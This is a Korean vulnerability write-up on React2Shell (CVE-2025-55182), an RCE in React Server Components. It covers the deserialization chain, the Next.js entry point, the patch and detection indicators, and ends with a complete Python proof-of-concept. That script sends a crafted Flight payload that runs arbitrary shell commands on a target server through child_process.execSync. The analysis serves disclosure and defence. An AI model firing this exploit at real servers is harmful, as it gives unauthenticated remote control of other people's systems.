React2Shell 취약점 분석
좋아. 이번엔 원문을 베끼지 않고, 대신 핵심 코드 흐름을 축약해서 넣은 기술 분석 보고서 형태로 다시 써볼게.
코드 블록은 이해를 돕기 위한 개념화한 축약 코드고, 설명의 근거는 엔키 글과 React/Next.js 공식 권고를 바탕으로 정리했다. React 팀은 이 취약점을 인증 없는 RCE로 공지했고, RSC를 지원하면 명시적 Server Function 엔드포인트가 없어도 영향받을 수 있다고 밝혔다
React2Shell(CVE-2025-55182) 분석 보고서
1. 개요
CVE-2025-55182, 이른바 React2Shell은 React Server Components(RSC)의 Flight 역직렬화 경로에서 발생하는 원격 코드 실행 취약점이다. 공격자는 악의적인 HTTP 요청만으로 서버 측에서 임의 코드를 실행할 수 있으며, React 공식 블로그와 Next.js 공식 advisory 모두 이를 Critical로 분류했다. React 공식 공지에 따르면 영향을 받는 핵심 패키지는 react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack의 취약 버전이며, Next.js는 App Router를 사용하는 15.x/16.x 계열이 영향을 받는다.
이 취약점의 본질은 단순한 “서버 함수 호출 버그”가 아니다. 더 정확히는:
- Flight 프로토콜이 참조를 해석하는 방식
- 역직렬화 중 경로 탐색이 프로토타입 체인까지 따라가는 점
- Promise/thenable처럼 보이는 내부 Chunk 객체 처리
- Blob 복원 경로가 공격자 제어 데이터와 만나는 점
이 네 가지가 연결되며 RCE 체인이 만들어진다. 엔키 분석 글은 이 흐름을 단계적으로 풀어 설명하고 있다.
2. 기술 배경: 왜 RSC가 공격 표면이 되었나
RSC는 컴포넌트 실행의 일부를 서버에서 처리하고, 그 결과를 클라이언트가 다시 조립하는 구조다. 이때 단순 JSON만으로는 Promise, Blob, Map, FormData 같은 값을 표현하기 어렵기 때문에 React는 Flight 프로토콜이라는 전용 포맷을 사용한다. 엔키 글은 $@, $B, $K, $Q 같은 토큰이 Promise/Blob/FormData/Map 같은 객체를 나타낸다고 정리한다.
문제는 이 포맷이 결국 공격자가 보낸 문자열을 서버가 해석해 객체로 되돌리는 과정이라는 점이다. React 팀도 공식적으로 “클라이언트 요청을 React가 서버 함수 호출 형태로 해석하는 과정”이 취약 지점이라고 설명했다.
3. 근본 원인
3-1. @ 참조가 Chunk 자체를 돌려줌
엔키 분석에서 첫 번째 단서는 parseModelString()의 @ 처리다. "$@0" 같은 값은 Promise/Chunk 참조를 뜻하는데, 구현상 이 분기는 Chunk 객체 자체를 그대로 반환한다. 즉 공격자는 단순 값이 아니라, React 내부에서 쓰는 Chunk Promise에 대한 raw reference를 손에 넣을 수 있다.
아래는 그 핵심을 이해하기 위한 축약 코드다.
// 개념화한 축약 코드
function parseModelString(value, response) {
if (value.startsWith("$@")) {
const id = parseInt(value.slice(2), 16);
return getChunk(response, id); // Promise/Chunk 자체 반환
}
}
여기서 포인트는 “참조를 값으로 바꾸는 것”이 아니라, Chunk 객체 그 자체가 노출된다는 점이다.
3-2. getOutlinedModel()이 프로토타입 체인까지 따라감
두 번째 핵심은 getOutlinedModel()이다. 엔키 글이 인용한 취약한 구현에서는 reference.split(':')로 경로를 나눈 뒤, value = value[path[i]] 형태로 멤버를 계속 따라간다. 문제는 이때 hasOwnProperty류의 검증이 없었다는 점이다. 그래서 __proto__ 같은 경로를 넣으면 프로토타입 체인으로 진입할 수 있다.
이를 이해하기 쉽게 줄이면 대략 이런 형태다.
// 취약 개념을 보여주는 축약 코드
function getOutlinedModel(reference, chunk) {
const path = reference.split(":");
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // own-property 체크 없음
}
return value;
}
이 구조에서는 "$1:__proto__:then" 같은 참조가 가능해지고, 엔키 분석처럼 Chunk가 Promise 계열 객체일 경우 결국 Chunk.prototype까지 닿을 수 있다. 글은 이 점을 두 번째 원인으로 짚는다.
3-3. Chunk.prototype.then이 재진입 발판이 됨
엔키 글은 Chunk.prototype이 Promise.prototype을 기반으로 만들어지고, 자체 then()을 오버라이드하고 있다고 설명한다. 이 then()은 chunk.status에 따라 동작이 갈리며, 특정 상태에서는 initializeModelChunk()를 다시 호출한다.
이를 개념적으로 적으면:
// 개념화한 축약 코드
Chunk.prototype.then = function (resolve, reject) {
const chunk = this;
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
// ...
}
// 이후 상태에 따라 resolve/reject 진행
};
즉 공격자가 then 속성을 Chunk.prototype.then으로 연결해 둔 객체를 만들 수 있다면, 단순한 프로토타입 접근에서 끝나지 않고 공격자 통제 데이터로 initializeModelChunk()를 재호출하게 만들 수 있다. 엔키 글은 이 지점을 두 번째 primitive로 정리한다.
4. Blob 경로를 이용한 함수 생성
엔키 분석의 세 번째 핵심은 reviveModel() 내부의 Blob 처리다. 글에 따르면 parseModelString()의 Blob 분기는 대략 다음 구조를 가진다: response._prefix와 id를 붙여 blobKey를 만들고, response._formData.get(blobKey)를 호출해 Blob을 가져온다. 중요한 건 이 response가 공격자 통제 대상이 될 수 있다는 점이다.
이 흐름을 축약하면:
// 개념화한 축약 코드
function reviveBlob(value, response) {
const id = parseInt(value.slice(2), 16);
const blobKey = response._prefix + id;
return response._formData.get(blobKey);
}
엔키 글은 여기서 _formData.get을 적절히 조작하면 constructor.constructor, 즉 Function 생성자 경로를 끌어낼 수 있다고 설명한다. 그리고 _prefix를 함수 본문처럼 사용해 임의 JavaScript 함수 생성까지 연결한다. 이 결과 value가 공격자 함수가 담긴 thenable처럼 구성되고, 다시 Chunk.prototype.then 경로를 타면서 해당 함수가 서버 측에서 실행된다.
이 부분을 개념적으로 요약하면 이렇게 볼 수 있다.
// 개념적 공격 체인 요약
const fakeResponse = {
_prefix: "console.log('pwned');//",
_formData: {
get: Function // 실제론 constructor.constructor 경로
}
};
// reviveBlob -> Function("console.log('pwned');//1") 유사 결과
// 이후 thenable 처리 -> 함수 실행
핵심은 Blob을 실제 파일처럼 다루는 경로가 아니라, “응답 객체의 메서드 호출”로 이어지는 로직이었다는 점이다.
5. 익스플로잇 체인 정리
엔키 글은 최종 체인을 세 개의 primitive로 정리한다.
- Chunk.prototype에 접근
- @ 참조와 __proto__ 경로 탐색을 통해 가능해진다.
- 공격자 통제 initializeModelChunk() 호출
- then을 Chunk.prototype.then으로 연결하고 상태를 적절히 맞추면 재진입이 일어난다.
- 임의 함수 생성 및 실행
- Blob/_formData.get/constructor.constructor 경로를 통해 함수 객체를 만들고, thenable 처리 과정에서 실행시킨다.
이걸 흐름도로 요약하면:
악성 Flight payload
-> @ 참조로 Chunk 확보
-> __proto__ 경유로 Chunk.prototype 접근
-> then = Chunk.prototype.then 연결
-> initializeModelChunk 재진입
-> Blob 처리 경로 악용
-> Function 생성
-> thenable resolve 과정에서 서버 실행
결국 이 취약점은 프로토타입 오염 비슷한 진입점 + 신뢰할 수 없는 데이터 역직렬화 + thenable 실행이 겹친 체인형 RCE라고 보는 게 맞다. Next.js advisory도 약점을 CWE-502 (Deserialization of Untrusted Data) 로 분류한다.
6. Next.js에서 왜 특히 문제였나
Next.js는 React 위에서 동작하므로 upstream 영향을 받는다. Next.js 공식 advisory는 App Router 사용 시 15.x와 16.x 계열이 영향을 받는다고 공지했고, upstream 이슈가 CVE-2025-55182라고 명시했다
엔키 글은 특히 Next-Action 헤더가 붙은 요청이 action handler로 들어가고, 그 내부에서 decodeReplyFromBusboy()가 multipart/form-data를 Flight 응답 객체로 복원하는 경로를 보여준다. 즉 실제 프레임워크 코드에서 공격자 입력이 Chunk/Response 구조로 들어가는 현실적 진입점이 존재한다는 뜻이다.
이를 개념적으로 줄이면:
// 개념화한 축약 코드
if (request.headers["Next-Action"]) {
const args = await decodeReplyFromBusboy(busboy, serverModuleMap, options);
// 이후 React Flight 역직렬화 경로 진입
}
즉 “React 취약점”이지만 실무에서는 Next.js action 경로를 통한 악용이 특히 현실적이었다고 볼 수 있다.
7. 패치 포인트
React 팀은 이 취약점을 2025년 12월 3일 공개하며 즉시 업그레이드를 권고했고, 영향을 받는 React 패키지의 수정 버전으로 19.0.1, 19.1.2, 19.2.1을 제시했다. 또 2026년 1월 26일 업데이트된 안내에서 Next.js 각 릴리스 라인별 최신 패치 버전을 별도로 안내했다
엔키 글이 짚은 패치 핵심은 getOutlinedModel()에서 속성 접근 전 검증을 추가한 것이다. 이를 개념화하면 아래처럼 이해할 수 있다.
// 방어 개념을 보여주는 축약 코드
for (let i = 1; i < path.length; i++) {
if (!Object.prototype.hasOwnProperty.call(value, path[i])) {
throw new Error("invalid reference path");
}
value = value[path[i]];
}
즉 패치의 방향은 “프로토타입 체인까지 따라가는 동적 경로 탐색”을 막는 것이다.
8. 대응 방안
실무 대응 우선순위는 명확하다.
8-1. 업그레이드
React 공식 권고에 따라 취약한 react-server-dom-* 패키지를 안전 버전으로 올려야 한다. Next.js는 안정 릴리스 라인별 최신 패치 버전으로 업그레이드해야 한다. React 공식 문서는 2026년 1월 기준으로 14.x/15.x/16.x에 대한 권장 버전을 따로 제시하고 있다.
8-2. 임시 완화책에만 의존하지 말 것
React 팀은 일부 호스팅 사업자와 함께 임시 완화책을 적용했지만, 거기에 의존하지 말고 반드시 업데이트하라고 했다.
8-3. 탐지 포인트
운영 관점에서 점검할 만한 흔적은 다음과 같다.
- Next-Action 헤더를 포함한 비정상 multipart/form-data
- Flight 토큰($@, $B, __proto__, constructor)이 섞인 입력
- 서버 측 action/Server Function 경로에 대한 이상한 POST 요청
- 패치 전 버전의 react-server-dom-* 패키지 존재 여부
이 부분은 엔키 분석과 Next.js/React 공식 권고를 조합하면 자연스럽게 도출된다.
9. 결론
React2Shell은 단순히 “React에 RCE가 있었다”는 사건이 아니다.
이 취약점이 보여준 진짜 문제는 프론트엔드 프레임워크가 서버 직렬화/역직렬화 책임까지 가져갈 때, 보안 경계가 급격히 복잡해진다는 점이다.
이 이슈는 다음의 조합으로 이해하는 것이 가장 정확하다.
- Flight 참조 해석
- 프로토타입 체인 접근
- Chunk/Promise 내부 동작 재사용
- Blob 복원 경로 오용
- thenable 실행
PoC
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)